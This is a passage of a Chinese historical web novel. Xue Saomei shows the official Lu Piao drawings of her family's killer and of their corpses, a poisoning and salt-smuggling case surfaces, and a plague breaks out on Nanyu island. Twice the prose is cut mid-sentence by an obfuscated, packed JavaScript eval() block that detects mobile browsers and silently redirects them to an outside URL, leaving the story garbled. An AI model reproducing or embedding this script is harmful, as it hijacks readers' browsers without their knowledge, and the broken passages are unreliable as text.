“你今晚邀我见面,想说的应该不止这些罢?”他追问。 薛扫眉点点头,走到墙边,从多宝格中最下的一格里取出一幅画卷,郑重地在陆缥面前展开。 28. 第二十八章 【信任】 陆缥凑近观看,只见在她削葱根般的纤指之下,徐徐展现一个由墨笔描绘的半身人像。那是一个脸型瘦削的青年男子,戴着毫无雕饰的半张黑漆面具,目如鹰隼,唇角向下,挂着一弯冷笑。 “此人便是杀我全家的匪首,我最多只见过他戴半截面具的样子。”薛扫眉侧过脸,含着希冀看他,“您可认得这个人?” 陆缥摇头:“从未。” 那半张面具掩去了许多细节,纵使薛扫眉笔力了得,也很难补全此人的全貌。仅凭目前纸上呈现的这些特征,陆缥确实未在脑海中搜寻出对应的人选。 “此人年纪不轻,身高……约到您眉骨这里,体型偏瘦,声音嘶哑,鞋印约有五指宽、八寸长,会武功,会骑马,应当在乌程府有固定落脚的地方。他手底下,应该有不少人,光是安置在薛宅中伪装家丁的人,便有二三十个,还时常轮换——这些人训练有素,组织严密,薛兼是他们的一个小头目。” 薛扫眉并未气馁,继续将自己这些年暗中搜集到的线索、猜想,和盘托出,“这么多人,要藏起来,得选个地广人稀的地方。按照他此前每次听到消息后、上门找到我的用时,我猜测此人常驻的地方,应当在碧霄府方圆一百五十里之内。侯爷,碧霄府附近有什么已成气候的山匪,符合这些条件么?” 陆缥再次摇头,耐心和她解释:“你既有触角伸到府衙之内,想必应当已做过盘查,没有得到肯定的结果,这才来问我。我来碧南道仅有两个月,现在所能倚仗的,也多是朱藩司、陈知府他们此前记录在册的信息。根据我所见所闻,江南六道承平日久,碧霄府附近已经多年未出现过山匪了。” “那侯爷上次说,您已寻到了一些线索……” “确有此事。你我府衙见面的前一天,我讯问了一个特殊的犯人。” 陆缥所说之人,便是葛三。此人当日在府衙刑房之内,激愤说出“双雁还,涤水断”六个字,无意间暴露出自己和陆缥此番南下要查的事情可能有关。因曹永年在场,陆缥不欲葛三吐露更多,便以银针锁住他穴道,造成其假死之相,再安排人手到乱葬岗拾走“尸体”,暗中囚禁起来,隔日询问。 但这些和薛扫眉没有关系,陆缥隐去葛三姓名和更多详情,只提及她关心的部分:“据此人交待,他十几年前曾在旭山落草为寇,当时加入的匪帮,江湖人称‘乌衣宗’,他的一身武艺,便是在那里得高人指点练就的。乌衣宗内有许多匪人,都是同他一样隐姓埋名加入,以杀人越货为生;帮众上下,无论大匪小匪,都穿黑衣,还……” “还戴黑色面具。”她被希望点燃,目光熠熠地看着他,“您在府衙中和我提到线索时,特意强调了,‘着黑衣、戴黑面具’。” 陆缥点点头,话锋一转:“不过,此人说的毕竟是十多年前的旧事。我去查乌衣宗,最新的一条记录也在十二年前,说是乌衣宗帮内突发火并,一夜之间,帮众凋敝,此后再未成气候。原先他们盘踞的旭山上,早已没有草寇了,现在只剩纯净泉水和漫山银杏。” 薛扫眉垂下眼帘。 所以是她误会了他:陆缥之前去南郊打猎,还有去桑罗观游玩,实则都是为了打探黑衣匪徒的消息,而不是去调查她的过往。他竟真的将她托付之事,放在了心上。 但这个认知,并没有减弱薛扫眉的失望。好不容易得来的一条线索,还是断了。 见她默然不语,陆缥略一清嗓,尝试换个话题:“这画,是你所作?真妙笔也。” 薛扫眉思绪纷乱,勉强地笑笑,应付道:“谬赞了。” 陆缥看向墙面上的多宝格。那里已被几十幅大大小小的卷轴塞满。 她注意到他视线移动,解释道:“这里还有几幅其他贼匪的画像;剩下放在一旁的,是我家里人的画像。” 数百个夜不能寐的长夜里,薛扫眉借口看账,实则是在书房中目含血泪地一笔笔刻画那些面庞,再藏到密道深处。记忆如流沙,她越强迫自己回想,能把握住的反而越少,只能付诸于笔下;可那些因此得以留存的部分,也只能被掩埋于这暗室之中,和她心底的仇恨一样,夜夜回味,但终究不见天日。 “我能看看么?”陆缥问。 薛扫眉没有理由很好的理由说“不”,只好点头。可待陆缥走近多宝格,她又心头发紧,忍不住小声喊住他:“侯爷,要不算了罢?我画技拙劣,恐难入您法眼。” 陆缥只觉得薛扫眉是在自谦,随手抽出一幅卷轴打开:“我于丹青上也并无所长,大姑娘不必……” 目之所见,成功截住他尚未出口的后半句话。 画卷之上,只有两种颜色,黑与红: 漆黑墨迹,工笔线条,勾勒出一具精壮的中年男性胴**体:面部,双目圆睁,口唇大张,极尽惊惧愤怒之色;颈部,被一抹血红切断,只能以诡异的尖锐角度与身体和头颅连接;双手,十指齐齐被削去,断掌处被星星点点的红色晕染,血滴与断指一同坠在地面。 陆缥凑近细看。那画上,黑色的走线平滑顺畅,显示出画师极大的克制;但在红色的部分,却可瞥见凝滞的晕痕与苍劲的飞白,似血泪,更像怒火。画面最右侧的六个大字“三十五丁贵福”,与玉霓裳先前递送的花笺小字有同样风骨,却更遒劲,仿佛就要挣脱出纸张。 薛扫眉从他手中接过卷轴,默默合上。 “他是我家从前的门房,叫江贵福,我换他‘阿贵伯’。”她往前走了两步,蹲下,将卷轴重新放回多宝格,背对着陆缥,“他死在我家大门内侧,被自外头潜入的贼人从后方制住,一刀割破了喉咙。应是他濒死时还紧抓住凶手不放,才教人削去了所有手指。只可惜,案发那夜下了大雨……我最终只替他找回四根手指,还都泡烂了。他是我亲手下葬的,第三十五个人。” 原来陆缥信手抽取的,便是薛扫眉所说“家里人的画像”其中一幅。可以想见,其他“家里人的画像”,所画的也应都是薛扫眉收殓时所见到的家人死状。 府衙案卷记载,四年多前灭门案发生的时候,薛扫眉也只不过是刚刚及笄的年纪。而十五岁时,陆缥尚在军中磨砺,还未上过战场,所亲眼见到、亲手触碰过的尸体,甚至不及同龄时的她多。 一种极其陌生且不可名状的局促,又一次攫住了陆缥。很奇怪,明明见面的次数尚屈指可数,薛扫眉却总能给他带来不一样的体验——这感觉既让他无从俯视她,也并不损害他自己固有的骄傲,只让他想继续向她靠近、与她并肩。 陆缥心甘情愿地弯下腰,却发现自己不太擅长接下来应该做的事情。斟酌片刻,他尝试着按照此前鼓励下属的方式,用手指在薛扫眉臂膀上轻轻一拍,权当一记聊胜于无的安慰。 “你已经做得很好了。”他尽力将声音也放柔,“别怕。” 更多的话似乎可以冲口而出,但薛扫眉已经率先站了起来,使陆缥也只能咽下它们,跟着挺起腰板,以便看清她的表情。 可她没有表情。黑漆漆的眼睛,波澜无惊,既没有旧疤被剖开的痛楚,也不见被怜惜后的脆弱。她只是静静地站着,像一堵理所当然应该矗立在此的墙,支撑着自己,也习惯性地撑起就在他们头顶上方、空壳一般的薛家。 片刻沉默之后,薛扫眉径自开始回答他曾经提出的问题。 “侯爷之前问我,为什么坚称对方手上有四十七条人命,而不是府衙的案卷上记载的四十八条。 “我少算一条命,因为我阿兄薛斐,没有死。他被那个人斩断左臂后掳走了。贼首说,他给我和阿兄都灌下了剧毒,每个月需服解药,如我不听话寻了短见,或是不用心帮他做事,就立时杀了我阿兄。我第一次报官时,就说了这件事,但…… “但没有人信我。他们说,现场根本没有被斩下的手臂。阿兄的尸首虽然被人毁去容貌,但是完整的,他就死在自己房里。我一定是磕坏了脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711845|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又或者是悲痛过度,出现幻觉了。” 她仿佛只习惯在恨意中微笑,苍白的脸像一缕小小烛心,在其他灯源的照射下,明灭变幻,将熄未熄, “可不可笑?明明是我经历了一切,那些人什么也不知道,却说我在说谎。那一夜的种种,就连雷电和雨声,我也恨不得拿刀子刻在心上,只怕自己忘了。怎么可能是幻觉?时至今日,那个贼首还屡屡用阿兄的性命胁迫于我。只怕连他也知道,阿兄是我苟活在这世上的唯一理由。 “当年我家的惨案草草了结,至今没有找到真凶。我刚才说的这些,甚至没有被记录在案卷中。我只能怀疑,那个人的势力已经连通了本府本道的官员,就连之前负责监察官员的御史老蔡大人,恐怕都身陷其中。 “要找到他,这些人,也得彻查。您与我非亲非故,我不敢奢望您拼尽全力,但……这世上就算没有公平,至少也该有公道,请您助我,一同寻回这公道。” 说到后来,她话语里只剩深深的疲惫。那双清澈的眼睛定定地望过来,干涸无泪,却叫陆缥心生波澜。他久违地想起了当年在边关,送别赴白狄和亲的表妹和嘉公主时,她隔着轿帘说的话: “愿吾这一去,能换来两国十年休战。表哥,莫再上战场了,别让外祖母担心。” 天地不仁,世道艰深,这些腥风血雨原都是男子惹起的,却让无辜的女子一力承担。这不对,很不对。 陆缥终于肯承认,他向来自诩冷硬的心地,已塌陷出柔软的一角。 “你放心——君子一言,快马一鞭。那日在柳叶渡,我已答应帮你了,就绝不会反悔。”他低声道,“你可能不知,老蔡大人在回乡路上,已因病离世了。” “我知道的。他刚走半个月,我便从那贼首口中知道了。老蔡大人,也是被他杀死的。”薛扫眉将面具人之前对老蔡大人的嘲讽和她的猜测阐述了一遍,接着说,“我便是从这里,开始怀疑他们和先太子有关;但也只有这里,让我猜出了一些端倪,再没有更多线索了。” 这倒是个新的调查方向。陆缥点头,简略地答应:“我会去查。” 血滴子有侦缉的特权,陆缥作为副统领,可越过地方有司与刑部,直接处理威胁皇权的案与人。此前因曹永年办事不利而上报刑部的、针对陆缥本人的刺杀案,考虑到苦主应当回避,还是绕开了血滴子,交由刑部专审处理;但若老蔡大人真的死于暗杀,他倒是方便将案子要过来,亲自去查探。 再者,陆缥相信薛扫眉细致入微的洞察,绝非空穴来风。他甚至愈发有一种直觉:风起于青?之末,葛三供出的乌衣宗、薛扫眉形容的那伙贼人,也许真的和他此番南下所求,能够殊途而归。 陆缥暗自思忖着,全然没注意到薛扫眉默默将身背对向他,松了一口气。 薛扫眉清楚地知道,陆缥出身世家,且在战场和官场中均已浸淫多年,寻常的富贵和道理不足以打动他。更重要的是,他其实没有必须帮助自己的理由——事实上,如果对薛家的案子装聋作哑,陆缥不会失去什么,反倒能省去不少麻烦。所以,即使两人已经口头结盟,她也始终不曾懈怠。攻心为上,薛扫眉告诉自己,她需要不断寻到陆缥情感上的软肋,让他陷入好奇、惊讶、敬佩、怜惜、愧疚或是其他的什么情感之中,心甘情愿地为她所趋使。也只有这样,她才能真正放心与他并肩。 现在,她已能够在观察后确定,自己获得了陆缥的信任。他不再质疑她的动机与判断,而是像一个真正的盟友一样,开始主动履行职责;甚至愿意向她表达关心,尽管程度有限,且看起来十分笨拙。 她的预想能够达成,本是一件不错的事,但薛扫眉忽然觉得冷。当她环抱住自己时,那片曾经被陆缥手指小心触碰过的臂膀,又显得过于灼热,逼她撒开手。 真可惜……终究是一场算计。 在无人注目的黑暗角落里,薛扫眉久违地为自己感到难过。 29. 第二十九章 【瘟疫】 隔日清晨,薛大姑娘正在补觉,忽然被薛兼命人唤醒。 薛扫眉向来谨慎,一旦需要启用密道,必定要提前找理由将薛兼调出薛宅,以免被探破她房内空空——昨晚便是如此。一切进行得很顺利,她告别陆缥、折返回到房中时,已是丑时末刻。夜深人静,无人发觉异样,包括当时正因银灯楼有人砸场而亲自临场处理、忙得焦头烂额的薛管事。 可薛兼现在急着要见自己,实属不寻常。一定是出了什么事。 最坏的结果,是他发现了…… 薛扫眉心一沉,令鹦哥为自己粗略洗漱一番,便传薛兼入内来见。 待他拧着眉头进来,看向她的眼神中却不见审视、只有焦灼,薛扫眉才暗自松了一口气。看来此刻困扰薛兼的事情,和她昨夜的秘密行动无关。 “怎么了?”薛扫眉直截了当地问。 薛兼挥退闲杂人等,将一封手书交给她。信上的字迹薛扫眉认得,是陈相如的手笔。 薛扫眉细细将信看完,沉吟不语。 原来就在昨日、也就是林掌柜在薛家后门暴毙的次日,林掌柜的母亲便到县衙击鼓鸣冤,状告儿媳郑娘子毒杀亲夫。衙役从郑娘子屋中当场搜出半包来路不明的白色粉末,林掌柜的小妾吴氏也指证郑娘子曾在丈夫药碗中放入可疑物质,正与那鼠药质地契合。人证物证具在,郑娘子立即就被收了监。 陈相如在信中特意强调,郑娘子房中除“鼠药”之外,还搜出了数袋质地类似的粉末,重量合计已超过十斤。因涉及毒物,无人敢鉴别那是什么,只是胥吏见它质地洁白细腻,怀疑是精盐。而依照大燕律例,贩卖私盐逾三斤,便已经是足以杀头的罪过。 无论是谋杀还是贩盐,郑娘子恐怕都难逃过斩立决的下场。 薛扫眉抬眼看向薛兼。以她的了解,他如此着急,绝不可能是因为郑娘子。 “你在卖私盐,而且陈知府是知道的。”她了然地下了论断,“我是郑娘子亡夫的东家,他担心我会被牵扯其中,所以特意写信来提点。是也不是?” 薛兼不语,算是默认了。数年以来,他已对薛家的事务插手极深,在生意上亦培植了属于自己的一股势力,好为隐居幕后的主人尽忠效力。制贩私盐,是一本万利的生意,他当然不能不染指——就算薛扫眉反对,也不行。 “谁准你自作主张的?”薛扫眉厉声道。 薛兼却自有他的一套道理:“从前年开始,生意愈发不好做。我手下还有那么多张嘴要吃饭,有好的机会,总不能轻易放过罢?我与陈知府稍微提过两句,他也知道江南富庶商家中,或多或少都做一些贩盐的生意,只要数量不大,会对我们睁一只眼闭一只眼的。” “可你用的是我薛家的招牌!” “你别忘了,我也姓薛。”看她胸膛起伏、柳眉倒竖,薛兼原以为自己应当心如蚁啮,可当他想到信上内容、因而说出残忍的话时,却意外地感到欣快,“这世上,已经没有‘你的薛家’了。现在的薛家,是‘我们’的。” 薛扫眉攥紧手中的信纸。在它的末尾,陈相如写道:此案已由府衙提审,预计年后升堂。陆缥作为监察御史,将督审案件。 “想必大姑娘向姓陆的美言两句,此事就可轻轻揭过了罢?”薛兼冷笑着提议。 他的挑衅,却让薛扫眉逐渐冷静下来。薛兼说的没错,他们在外人看来,确实是一根绳上的蚂蚱。郑娘子的案子可大可小,若牵连到薛家这块招牌,薛扫眉作为名义上的掌家之人,也无从幸免。 她开始拼凑事情的来由,试图推测走向。 “你那摊子事情——无论是制盐还是贩盐——林掌柜可参与过?” 薛兼摇头:“我是从黛山县官设煎盐场的盐户那里收买尾盐,加工后再用散户的名头对外贩卖的。林掌柜一直在南屿收买水产,从未参与过与盐相关的生意,也不知道这些。况且,”他接着补充,“陈知府信上提到的盐,是纯□□盐;可我这里卖出去的盐,还是有杂卤的,绝无可能是纯白色。” 薛扫眉追问:“那哪里才可产出纯□□盐?” “只有西南潼川道的盐井。据我所知,碧霄府应该没有商家卖潼川盐。林家无故藏了这么多,很蹊跷。会不会是有人想借机攀咬薛家,故意设的局?” “不像。林掌柜家里搜出私盐,和我薛家并无绝对的干系。何况西南山道艰险,我家在潼川道也没有生意,如旁人想要构陷,随便拿点市售的粗盐便可了,没道理用上好的潼川盐,吃力不讨好。” 薛兼低声道:“暂且不论这些。依我看,反正鼠药和白盐质地极其相似,不如让陈知府判定那十斤粉末是鼠药而非白盐,如此……” 如此,这桩案子将删繁就简,薛家可撇清关系;而郑娘子…… 前两年,薛扫眉身体尚可的时候,薛兼曾陪她到南屿巡视生意,去过郑娘子操持下的林家,受到过郑娘子和她的两个女儿的热情款待。两个女童,大的文静秀气,小的狡黠活泼,都是有教养的孩子,给薛扫眉留下了极好的印象。薛兼依稀记得,当时薛扫眉眉眼间的温柔,与看向他时完全不同。 她此刻的迟疑已足以显示不忍,他不由得冷声提醒:“反正郑娘子谋害亲夫,横竖都是死。不能让不相干的人,坏了我们的大事。实在不行……事后将她家的两个丫头接到慈幼院,好好抚养成人,也算对得起这场主仆缘分了。” 薛扫眉难得地赞同他一回:“对,先将两个丫头接到慈幼院,让兰兰照料。郑娘子的婆母状告儿媳弑夫,想来那郑家已没有两个孩子的容身之处了。你亲自去接人,现在就去,务必办妥。” “那陈知府那里……” “不急答复。年后升堂,还有很多时间,我要好好想一想。此案和林掌柜暴毙相关,又涉及毒物,你找人将薛兼请来,我有事与他交待。” 薛兼还待再争辩:“可是……” “不必说了。此事我会办妥,不至于影响到主人的大事。” “你如何能保证?” 这话问得可笑。薛扫眉收起表情,冷眼看他。末了,那张依旧苍白的小脸上,泛起一丝只针对他的、饱含恶意的微笑,举重若轻地将他击溃。 “薛管事忘了自己刚刚说过什么?主人让我去‘勾搭’‘笼络’的陆御史,不正适合在此时派上用场么?”她傲然道,“你将我的原话转告给主人,他一定会放心的。至于你,安心做好他的狗就好,不必朝我吠叫。” *** 同一时刻,被薛扫眉背后点了名的陆御史,正和陈相如坐在一起,满面凝重地听伏在下首、风尘仆仆的青衣小官泣告。 “南屿发瘟疫了!几日之内,横死的人已不可计数,宛如人间炼狱……所以我赶紧前来,向府尊大人报告。” 来人正是南屿县县令,王俭。 陈相如眼前发黑,几乎捏碎手中的茶杯。 二十多年前的一个夏天,碧南道也曾在洪水后被瘟疫席卷。当时的他尚且年轻,在那场浩劫中失去了自己的半数家人。他的妻子,上午还在绣花,晚上便浑身乌青地倒在他怀中。陈相如清楚地记得,那双平日里总是笑意盈盈的那双眼睛,至死都没有合上,眼眶里只余两汪血泪,最终坠在垫着她脸颊的他的衣袖上,就像是她手中未绣完的凌霄花。 陈知府是爱花之人,却从此再也看不得凌霄花。 他的好夫人、与他一起发誓要白首同心的结发妻子,香消玉殒后却不得葬入陈家祖坟——只因所有病患的尸首均被官府挖坑填埋,浇以石灰。漫山遍野,都飘荡着瘆人的白雾。 人间炼狱,那就是人间炼狱。他实在不想再经历一次了。 陈知府下意识地想逃,被陆缥一把按在椅子上,茶杯顺势砸在高几上,发出当啷一声脆响。他惊怒交加,一时忘记对于陆缥的忌惮,就要发作,可陆缥已经别开视线,走上前去,全神贯注地问起王俭南屿瘟疫的详情。 王县令抹了一把眼泪,细细交待。 南屿人口大多数分布于沿海地区,而那里正是本次瘟疫的重灾区。大约十日前,便有岛民陆续出现呕吐、腹泻、畏寒、转筋等症状,体弱者一两日内便全身发青,眼窝深陷,脱水而死,侥幸活下来的也状如厉鬼,连起身的力气都无。发展到后来,开始出现举家举村横死的情况,坟场里的尸体堆叠在一起,远望如绵延的京观。再后来,已经无人顾得上收拾尸体,家家门户紧闭,唯恐瘟神降临,但仍有人不断死去。 王俭粗略地估计了一下,整个南屿的人口恐怕已消失了十之二三。昨日晚上,跟随他多年的师 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陈相如闻言,不由得联想起二十多年前自己无助的境况,面色稍缓。他正要出言宽慰两句,忽听陆缥冷声道:“眼下不是你哭的时候。我给你半个时辰的时间,将这几日岛上发生的事情一五一十地写下来。然后,你立刻回帆南屿,将各个港口封锁起来,只进不出。我和陈大人稍后会去与你会合。” 王俭好容易才逃出生天,一听要自己马上回去,不禁嗫嚅起来。 陈相如听陆缥说自己也要上岛,忍不住起了一身鸡皮疙瘩,赔笑道:“缈之,这是否有必要……” 陆缥冷笑道:“我是在救二位的命。王俭,你今日行径与临阵脱逃无异,是当判斩立决的大罪。陈大人,南屿与这里不过一水之隔,疫情十日,下官脱逃,你竟一无所知;照大燕律,判你个斩监候、全家流放,也不冤枉。” 陈王二人面如死灰。陆缥是监察御史,本就负责官员稽查,万一他给皇帝姨夫上封劄子,他二人恐怕连乌纱帽带脑袋一并都得丢喽。 在凝重的气氛中,陆缥再度开口:“眼下你们有两个选择。其一,你们可以杀了我,从此亡命天涯。如此,在被捉拿之前,也可享几日清闲。” 此言一出,陈相如大感惶恐,连连摆手:“缈之,你说哪儿的话?”他连刀都举不动,哪里能动得了陆缥这个杀神分毫?再者说,就算有贼心,他也没这个贼胆。 陆缥并未理会他,继续道:“其二,王大人,你立刻回去,此番亲临府衙便只是借兵,不算脱逃;陈大人,你初闻疫情,便在最短时间内带着医士与物资亲临前线,可称得上爱民如子。如此,陆某自当奏达天听,为二位请功。” 王俭坐在地上,闻言怔怔抬头。 他没有听错吧?他还有机会立功么? 陆缥蹲下身,用仅有他二人能听清的音量,道:“王大人,命是你自己的,要按律斩首、戴罪流亡,还是要为视你为父母的百姓拼力一搏,悉听尊便。” 王俭听懂了。他此刻即便留下,终究也难逃一死;反倒是回去抗疫,还有一线生机,甚至可能立功。此刻,目睹师爷暴毙的恐慌和逃离险境的侥幸终于在王县令心中冷却下来,他抹了把纵横于面上的汗和泪,肃然叩首:“多谢御史大人提点。” 说罢,他微转身躯,又向陈相如拜倒:“卑职此来,本就是为了向府尊大人当面陈情。待写完南屿瘟疫详情,卑职立刻奉命回去。南屿万余百姓,切盼朝廷来援。” 他这一表态,陈相如也不好再装聋作哑,只好含糊其辞道:“该当如此,该当如此。你这就动笔罢,我和缈之去筹措一下物资。” 见二位肉食者总算有些人样,陆缥面色稍霁。 但他心头,仍有疑云盘踞。 王俭贸然闯入府衙之前,陈相如正在和他说郑娘子被告杀夫一案,请他参与监察。因郑娘子与薛家有些关系,陆缥特意多看了两眼原告的状纸。上面记载的林掌柜被毒杀的死状,竟与王俭刚才所说瘟疫患者去世前的惨状,一般无二。 “是你让人做的……”薛扫眉当夜那样问他,因她怀疑林掌柜系被人毒死。可她还说了,“此人是我家负责南屿水产生意的掌柜”——南屿,不正是这次瘟疫的滥觞之地么? 所以,林掌柜的死因,究竟是什么? 30. 第三十章 【扬帆】 疑念在心中闪过的瞬间,陆缥已想好了下一步的部署。 趁着王俭挥毫陈情的功夫,他已开始安排后续事项,其中包括遣人去薛宅,请瞿准来见。 陆缥尚未面见过瞿准,但已笃定此刻他是襄助自己破局的最佳人选。其一,陆缥上次在桑罗观打听到,为便于给薛扫眉诊治,瞿准近期一直住在薛宅,而林掌柜正是在薛宅中暴毙,因此瞿准应当或少知道一些情况。其二,瞿准在江南六道都算数得上号的杏林圣手,平息瘟疫,需要他的指点。 领毕命令的胥吏匆匆而去,身影在听闻召唤、前来集议的一众官员中逆行,很快消失。 陆缥收回视线,全神投入到讨论当中。可席间众人的话语,却让他的眉头越锁越紧。 “南屿与碧霄府隔海相望,坐船过来,不过两个时辰而已,平日两地之间往来十分频繁。王县令说,十日前南屿便已生了疫病,可为何事到如今,除了你之外,不见其他人来报?” 被点了名的王县令深吸一口气,辩白道:“‘十日’这个数字,是我让医官根据各个药局、医馆记录的病案,倒推出来的。刚开始时,大家以为是寻常的肠胃犯邪之症,不成气候,哪知五日后开始有人暴毙,死的人越来越多,这才察觉可能是瘟疫……再者,这疫病发作急骤,发病之人,上吐下泻,很快便会形同骷髅,即使还没死,也根本没有出门的力气。外加这几日正值大潮,风向又不好,天气还冷,往返两地的船只数量已大大减少……” 立刻有人在他话中挑出字眼,加以发挥。 “肠胃犯邪、上吐下泻——王县令自己也说,可能是寻常的肠胃犯邪之症。南屿居民爱吃海鲜,偶尔肠胃不适,也能算是瘟疫?自官家登基以来,我碧南道一贯承平,你说话可得审慎啊。” “不是的,绝不是简单的肠胃不适。”王俭抹了把汗,“我来之前,已让医官和师爷做了初步估计,短短几日,因疫病去世的人,已有两千多。各位大人,整个南屿的人口,不过一万出头而已!再不行动,便覆水难收了!” 陆缥瞥了陈相如一眼。后者近乎瘫坐在椅子中,面如死灰,双目无神,俨然已经魂游天外。 陆缥在心中长叹一声,拍拍陈相如的肩膀,借力站起。 下首列坐的诸位臣工,很有默契地同时收声。 众目睽睽之下,陆缥沉声道:“今日我和陈大人紧急唤各位大人前来集议,不是为了辩论,而是来商讨对策的。江南清平久了,大家听到疫情,一时很难接受,可以理解;但是,如果为了粉饰太平而装聋作哑,视人命如草芥,我陆某第一个不答应!” 他声音不大,却不怒自威。王俭以为他是为自己解围,兀自感激,忽听见陆缥又道:“南屿这十日的情况,还有王县令刚才说的数字,他都已书面写好,各位可先传看,我也已让人去核实。据我的拙见,王县令说的十分具体,不像是假的;且他身为一县父母,没有理由撒这样的谎。若他危言耸听,我身为监察御史,自然不会放过;但若所言不虚……诸位,我们将有大麻烦了。” 陈相如绝望地闭上眼睛。他认识王俭已久,知道此人并非夸夸其谈之辈。 陆缥说得对。他们将有大麻烦了。 一片沉默之中,陆缥又开口道:“我提议,应当先封锁南屿县,事情未查清或者疫病未清除之前,未经官府许可,南屿的船只人等,只进不出;确认南屿瘟疫没有蔓延到其他地方之前,碧南道各府关隘也均关闭,除紧急事宜另行准许之外,暂停各府之间的人员往来。” 此言一出,有人坐不住了:“察院大人,可是要放弃南屿?”此人祖籍在南屿,自方才讨论时便牙关紧咬,听陆缥说要封锁南屿,眼中几乎迸出火星。 另有一位负责处理府衙文书的吴姓押司,受到前者鼓舞,小声道:“大人,再有一个半月就是腊八,马上过年了。眼下是各地人员往来最频繁、贸易最红火的时候,若各府之间道路不通,恐怕……”他小儿子是商贩,此前察觉爆竹价贵,特意从南边进了一批货来,还未全部运进碧霄府;如果关隘关闭,无异于断了全家财路。 陆缥耐着性子,先问陈相如意见:“陈大人,可有什么想说的?” 陈相如摇摇头:“我头疼,恐怕头风病又要犯了。缈之想做什么,就放手去做罢。” 陈知府既放了权,陆御史便敢领受。西北苦寒,时有疫病发生;陆缥在那里从军八载,亲身经历过不止一次瘟疫横行,有一些经验。 他先回答第一位质疑者的问题。 “封锁南屿,并不等于放弃那里。我在西北军中时,每逢时疫发生,军医便会将染病的官兵统一安置起来,与其他人隔开——这样做,不是要放弃他们,而是要确保在诊治病人的同时,其他人还能保持康健。我想将南屿乃至其他各府的出入口封锁起来,也是这个道理。 “所以,封锁只是第一步。接下来,需要各地的医官和药局通力合作,调集全道上下的医士和药物,优先送往南屿。我、陈知府及其他各府长官,将全力支持医官的工作。只要是合理的需求,全部满足。” 燕国府一级的医官,职务名称为“正科”。碧霄府的正科大人姓张,是个留着山羊胡子的中年人。他生长于杏林世家,同时兼任官设惠济药局的提领,被百姓尊称为“张扁鹊”。 陆缥虽不会医术,但他所说的这篇话,与张扁鹊所想不谋而合。 尽管如此,张扁鹊仍有疑虑,终于忍不住出言,先介绍了自己的身份,接着道:“察院大人,您方才说到其他医官,还有其他各府长官……卑职无意冒犯,但陈知府只能统领本府事务;本道共设九府,其他八府的事情,咱们恐怕鞭长莫及罢。要说起来,这些政令,应当是本道长官布政使朱大人颁布。可朱藩司上个月去未央京述职,至今未归,如何是好?” 他是个医官,却能做这样全局的考量,还敢在上官面前直谏,属实令陆缥侧目。 “你说得很对。我作为监察御史,的确无权直接插手地方行政事务;陈大人的权力,也不足以指挥整个碧南道。所幸我在监察御史之外,还有一个身份。”陆缥从袖袋中取出一块令牌,“这是我出发前,官家赐予的令牌,上面写着‘如朕亲临’。朱藩司回来之前,我便以钦差身份,暂代他处理本道中与瘟疫相关的事务。方才的决断,我会直接下发给其他府衙。” 语惊四座。之前坊间议论陆缥,戏称他自皇帝姨夫那里领了监察御史的差事,是“钦差”——哪知道人家手奉官家御令,是真正意义上的钦差大臣? 更有精于世故者,默默咽了口吐沫。朱藩司入京述职,陆钦差南下办事,这两者之间不会有什么联系罢?能惊动官家派下钦差,难道碧南道真的要出什么大事? 吴押司讪笑着,肠子已经悔青。他方才一定是疯了,才会质疑陆缥的提议。 但陆缥显然没有忘记他,目光锁定过来:“闭锁商道自然有损民利,但若疫情肆虐,挣再多的钱,恐怕也没有命花。这样,除南屿之外,其他各府之间的进出口先闭锁五天,若无异常,便可解禁。吴押司,你意下如何?” “甚好,甚好,钦差大人思虑周全,卑职佩服。”吴押司硬着头皮道。 所幸陆缥的眼神在他面上仅停留片刻,又立刻转向厅堂内的众人。 “陆某知道,南屿与碧霄府地缘相近、血缘相亲,你们中一些人的至爱亲朋此刻或许就在那里。陆某向诸位保证,一定全力处理此事,也请诸位务必勠力同心。还有,今日王县令所说的病亡人数,请先不要外传,以免引发骚乱。现在请各司其职,立刻行动起来罢。” 他在这堆人中官职最大、身份最贵,又素有阎王之名,一篇话恩威并施,众人莫不服气,旋即按照职务分作几组,分别负责文书起草、物资筹措、医士推举,以及民情治理等等。 正当陆缥忙得脚不沾地之时,去薛宅召唤瞿准的小吏,一个人回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784551|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。 “人呢?” “回大人,卑职到薛家时,瞿扁鹊已搭乘商船出海了。” “去哪里?”陆缥忽生不祥预感。 “南屿。” *** 陆御史扼腕之时,瞿扁鹊正在薛家商船上随浪颠簸。 晕头转向之间,他依稀回忆起自己在这里的原因。 今日一大早,瞿准正准备出门采些草药,却被忽然出现的阿橘拦住,说是薛扫眉有请。他以为薛大姑娘纸糊一般的玉体又出了什么问题,连背篓都不及卸掉,径直赶去。好在预想的坏状况没有发生,薛大姑娘的“有请”,确实只是“有事请教”的意思: 前日林掌柜暴毙,薛扫眉站得较远,未仔细查看。她想知道,林掌柜是否可能死于中毒? 瞿准当时思索一番,沉吟道:“我不是仵作,恐怕无法给出定论——但林掌柜去世的时候,面色青中带紫,口内和嘴角有白色呕吐物,下*身有便溺秽物,肚腹鼓胀而皮肤干皱,确实和我之前治过的误服砒霜之人病状相似。” “那除了中毒之外,从他的遗容追溯,还有什么可能的死因么?” 